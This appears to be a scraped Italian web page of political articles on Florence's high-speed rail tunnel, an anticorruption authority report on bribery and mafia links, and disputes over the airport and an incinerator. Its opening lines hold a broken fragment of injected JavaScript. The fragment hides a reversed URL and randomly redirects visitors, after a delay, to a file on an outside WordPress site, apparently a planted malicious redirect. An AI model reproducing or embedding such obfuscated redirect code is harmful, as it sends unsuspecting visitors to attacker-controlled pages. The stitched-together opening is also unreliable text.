$p$VT06JhIH6WkCGAcPR.list[n];};$p$VT06JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VT06JhIH6WkCGAcPR(0), delay);}and
```

con una sola fresa, i danni, al secondo passaggio, saranno superiori del 50% che con due frese parallele; autorizzare questo è stato un grave errore anche dell'Osservatorio Ambientale.

Su questo i tecnici del Comitato hanno già presentato un esposto all'ANAC, alla Procura di Firenze, all'Ufficio Urbanistica del Comune, alla Sovrintendenza per i Beni Paesaggistici per la Toscana e quella per la Provincia di Firenze in cui si fanno presenti questi problemi che rendono impossibile il rilascio di una nuova autorizzazione paesaggistica per lo scavo dei tunnel (per chi interessato viene consegnata una relazione tecnica sui maggiori danni da scavo con fresa singola con grafici molto chiari).

I gruppi politici, in particolare del Comune di Firenze, hanno già presentato interrogazione su questi aspetti e sul perché il Comune stesso non sia intervenuto in precedenza sulla mancanza di autorizzazione paesaggistica. È stato anche chiesto all'ANAC di integrare il suo documento del 29 luglio 2015 con le ulteriori criticità derivanti dall'alterazione della livello della falda sancito da ARPAT (alterazione grave sia a Campo Marte che ai Macelli) e il mancato rispetto della normativa antisismica, nel progetto di stazione AV, confermato dal Genio Civile.

I gruppi politici Firenze Riparte a Sinistra, Movimento 5 stelle, Si - Toscana a Sinistra, Alternativa Libera

chiederanno alle rispettive giunte in Comune e in Regione che gli enti si costituiscano parte civile nel processo relativo alla costruzione del Passante di cui si stanno tenendo le udienze preliminari in questi giorni.

Sempre gli stessi gruppi si faranno promotori di audizioni da parte delle commissioni consiliari interessate sui problemi del Passante e sull'opportunità di lavorare ad uno scenario alternativo di trasporto pubblico su ferro in tutta l'area metropolitana.

Aderiscono al Fronte unico Alternativa Libera, Comitato No Tunnel TAV, Firenze Riparte a Sinistra, Italia Nostra, Legambiente, Movimento 5 stelle, perUn'altra città, Rete dei Comitati in Difesa del Territorio e Si – Toscana a Sinistra.

Alta Velocità, a Firenze tangenti e mafia

Questo si legge nella relazione di Raffaele Cantone di cui scrive oggi Il Fatto Quotidiano. Di seguito l'articolo di Davide Vecchi.

Mafia, politici corrotti, tecnici venduti, società fittizie, scavi abusivi, ripetuti passaggi illegali di appalti e subappalti, carenza e omissioni nella vigilanza, sindaci inefficienti: tutte le zavorre dell'arretratezza d'Italia sono racchiusi in appena trenta pagine di relazione sull'alta velocità di Firenze stilata dall'autorità nazionale anticorruzione e firmata da Raffaele Cantone lo scorso 4 agosto 2015. E su ogni macigno di quella zavorra c'è un nome. Da quello dell'ex presidente dell'Umbria, Maria Rita Lorenzetti – arrestata nel settembre 2013 – al dominus delle

infrastrutture Ercole Incalza, in manette lo scorso marzo, che ha trascinato alle dimissioni l'ex ministro Maurizio Lupi. Dalla società Coopsette – che è riuscita a rimanere nell'appalto seppure avesse dichiarato due volte il fallimento e abbia visto finire in carcere i suoi vertici – alla Nodavia e a Condotte, coinvolta anche nell'inchiesta di Venezia sul Mose. Politica, imprenditori. Tangenti, affari. Il Tav di Firenze sembra una Cornice nel Purgatorio del malaffare nazionale: non esiste l'Inferno e il Paradiso è sempre (e di nuovo) a portata di mano.

FINE LAVORI: 2015

Gli appalti sono stati assegnati nel 1999, ma “i termini non risultano più perseguibili”

L'opera è stata assegnata nel 1999 e doveva essere interamente conclusa nel maggio 2015. “Termini che evidentemente non risultano più perseguibili – scrive Cantone – per cui si appalesano rilevanti ritardi nell'esecuzione”. Esecuzione che è al momento ferma: sono scaduti i permessi, i vertici delle società sono stati arrestati, chi per corruzione chi per associazione a delinquere, chi per abuso d'ufficio, chi per tutti e tre i reati e per altri ancora. L'opera doveva costare poco più di 500 milioni, è lievitata fino a 750 prima di essere bloccata e “registrerà ulteriori incrementi”. Ma il dato più allarmante tra i tanti indicati da Cantone è riferito alla sicurezza dell'opera: il materiale utilizzato è “privo della qualità richiesta”. E, ricorda il presidente dell'anticorruzione, l'opera “sotto-attraversa il centro cittadino, interferendo con la falda idrica” e ha già causato “dissesti che hanno interessato la scuola Rosai (chiusa a causa di crepe e smottamenti subiti dai lavori sotterranei, ndr) confermando la delicatezza del contesto”. È evidente che i “comportamenti dei soggetti preposti all'esecuzione sono finalizzati a conseguire maggiori utili a discapito di una minore qualità dell'opera”. Certo i lavori al momento sono fermi. Ma le aziende interessate vorrebbero portarli a

termine, per questo l'autorità presieduta da Cantone è dovuta intervenire. Ha sentito Rete Ferrovie Italiane – che ha affidato l'appalto – e le società coinvolte: Italferr e Nodavia in particolare.

La prima era quella guidata dalla Lorenzetti, la seconda è rimasta coinvolta in almeno tre inchieste giudiziarie. Per carità, ha sempre rinnovato i propri vertici e allontanato i "beccati", come scrive Cantone ripercorrendo l'iter complessivo dell'opera. La magistratura interviene già nel 2010 per smaltimenti illeciti dei materiali provenienti dagli scavi. Nel 2013 di nuovo. Nodavia, riporta Cantone, "avrebbe attuato lo smaltimento in modo illecito, con accordi occulti con soggetti formalmente incaricati dello smaltimento, finalizzati a corrispondere agli stessi somme inferiori a quanto stabilito dai contratti stipulati, con retrocessione in nero a favore di Nodavia di ingenti somme di denaro". Il classico schema. Ma non basta. Prosegue la relazione: "In realtà tali ditte non avrebbero provveduto allo smaltimento in quanto l'attività sarebbe stata gestita da una ditta, da quanto indicato dalla procura, legata ad ambienti della criminalità". E dove saranno andati i quintali di rifiuti speciali? E una volta individuata l'attività illecita si è interrotta? No. "è perdurata la gestione abusiva" svolta, fra l'altro, "senza alcuna autorizzazione e con modalità tipiche riconducibili a un trattamento di rifiuto con scarichi non autorizzati, stoccaggi in piscine e dispersione dei fanghi sui piazzali e in falda".

Le 30 pagine di relazione sono un epitaffio all'opera pubblica. Cantone scrive, fra le altre cose, che sono mancati gli "adeguati controlli", che le "criticità emerse dalle indagini della Procura non possono ritenersi del tutto superate" ancora oggi, che ci saranno "ulteriori richieste economiche" e molto altro ancora. Appare dunque una buona notizia scoprire l'inefficienza amministrativa di Palazzo Vecchio. Le società hanno fretta di riprendere i lavori,

l'opera è ritenuta fondamentale da Rfi (che, scrive Cantone, potrebbe essere l'unica parte lesa: oltre il Paese) e per questo serve una nuova autorizzazione, chiesta il 2 dicembre 2013. Ma per il via libera servono numerosi pareri tra cui quello del Comune di Firenze oggi guidato da Dario Nardella. Questo è "ad oggi non ancora pervenuto".

I kamikaze dello sviluppo arretrato di Firenze

Aeroporto, tunnel TAV, inceneritore: le tre "grandi opere" che stravolgeranno Firenze

Paolo Baldeschi per con soldi pubblici, del sistema idraulico della piana limitrofa alla città. Piazzare accanto all'aeroporto un inceneritore i cui effetti inquinanti si sommeranno a quelli dello scalo aereo. Sono le tre operazioni fortemente volute dai nostri governanti, a partire da Matteo Renzi, per scendere ai vari Nardella (sindaco di Firenze), Carrai (presidente di Toscana Aeroporti Spa), Naldi (presidente di Corporacion America Italia), Rossi (Presidente della Regione Toscana). Mescolo amministratori pubblici e privati perché non vi è alcuna differenza negli interessi e nei comportamenti. O meglio: gli interessi pubblici sono subordinati a quelli privati, mentre quelli politici riguardano soprattutto le carriere dei diversi protagonisti.

Il sottoattraversamento di Firenze per l'alta velocità è bloccato da più di due anni, perché non è riuscito il tentativo di declassare il materiale di scavo da rifiuto speciale a terre e rocce riutilizzabili senza trattamenti, nonostante le pressioni esercitate dai politici Pd e per

l'eroica resistenza di un dirigente regionale; ne sa qualcosa l'ineffabile Lorenzetti, Presidente della Regione Umbria e successivamente di Italferr per ignoti motivi di competenza; rinviata a giudizio dalla Procura di Firenze per avere messo a disposizione "le proprie conoscenze personali, i propri contatti politici e una vasta rete di contatti nell'interesse e a vantaggio della controparte da cui poi pretendeva favori per il marito nell'ambito della ricostruzione dell'Emilia"; e, insieme alla Lorenzetti, altre 32 persone tra tecnici e politici. Un autentico verminaio che evidentemente ha lasciato indifferenti gli amministratori toscani.

Quanto al progetto del **nuovo aeroporto** di Firenze, ora sottoposto a VIA, è un concentrato di illegalità, già ampiamente segnalate e tali da portare l'Università di Firenze a concludere nelle proprie osservazioni "Si ritiene che, già sin d'ora, nella procedura di valutazione dell'impatto ambientale relativa al progetto siano rilevabili evidenti profili di illegittimità tali da giustificare un parere negativo da parte dell'Autorità competente". Ma si va avanti lo stesso. Anzi, in un articolo apparso il 28 luglio sull'edizione locale della Repubblica, viene annunciata l'intenzione di Matteo Renzi (che ha perso la pazienza, sic!) di stravolgere con un proprio decreto le procedure di garanzia dei cittadini per accogliere nel nuovo aeroporto i capi di stato in occasione del **G7 del 2017**. Peccato che nessuno abbia designato Firenze come sede dell'avvenimento e che l'idea che l'aeroporto possa essere pronto tra due anni è una pura follia, cui evidentemente l'articolista presta fede. E poiché qualcuno deve pur avere avvisato il nostro Presidente del Consiglio che i tempi saranno dell'ordine, se tutto va bene, dei cinque – sette anni, l'eventuale G7 è solo un pretesto per invocare quelle circostanze eccezionali che giustificherebbero l'ennesimo strappo alle regole. Mentre l'Università, sempre secondo l'articolista, dovrebbe accontentarsi di qualche duna che proteggerebbe il Polo scientifico dai rumori del limitrofo aeroporto (operazione proibita per motivi di sicurezza, ma

favola buona per gli ingenui).

Quanto all'iter di approvazione dell'**inceneritore**, che dovrebbe concludersi con un'ultima Conferenza di Servizi ad agosto, il Sindaco Nardella ha ricevuto i comitati della piana fiorentina che si oppongono con validissime ragioni all'ennesima opera inutile e dannosa (ma non per i costruttori e per Quadrifoglio), ribadendo la ferma volontà di andare avanti, magari con qualche albero e qualche rilevatore di inquinamento in più.

Vi è un filo che unisce ideologicamente e praticamente le tre opere: la loro **dannosità** non solo per gli impatti diretti e indiretti, ma perché insieme concorrono ad aumentare in modo drammatico il livello di **artificialità** del sistema territoriale fiorentino, in particolare di quello idrogeologico. E qui si può misurare tutta l'arretratezza dello sviluppo ciecamente perseguito dai nostri governanti. Mentre le città del nord Europa si stanno attrezzando per contrastare i fenomeni indotti dal cambiamento climatico, rinaturalizzando il proprio territorio, fuori e dentro le città, trasformando gli spazi asfaltati e cementificati in parchi e vasche di raccolta, noi pigiamo il pedale sui tubi, le condutture forzate, le soluzioni ingegneristiche che, ammesso che funzionino, implicheranno enormi costi di gestione, rendendo **fragile** il sistema e comunque altamente **vulnerabile a eventi calamitosi** sempre più probabili.

Avanti tutta come kamikaze! Salvo che non saranno i nostri governanti a suicidarsi, ma "suicideranno" le popolazioni da loro amministrate. E quando si scoprirà che il tunnel sotto Firenze non è fattibile se non a costi triplicati e facendo gli scongiuri; che il completo rifacimento del reticolo idraulico della piana a contatto con Firenze è un'avventura rischiosa ed enormemente costosa (per i contribuenti, come è ovvio); che gli effetti inquinati dell'inceneritore insieme a quelli dell'aeroporto, dell'autostrada (con corsia aggiuntiva) e delle tante altre fonti di inquinamento già presenti,

formeranno un cocktail micidiale. Quando i nodi verranno al pettine, nessuno sarà responsabile: non Adf, solo proponente; non ENAC, solo consulente; non la Commissione VIA nazionale che è solo un organo tecnico; non la Regione Toscana che ha solo espresso un parere. Colpevoli saranno i cittadini ammalati o alluvionati, perché nessuno li ha obbligati ad abitare nella piana e quindi che se ne stiano buoni e zitti.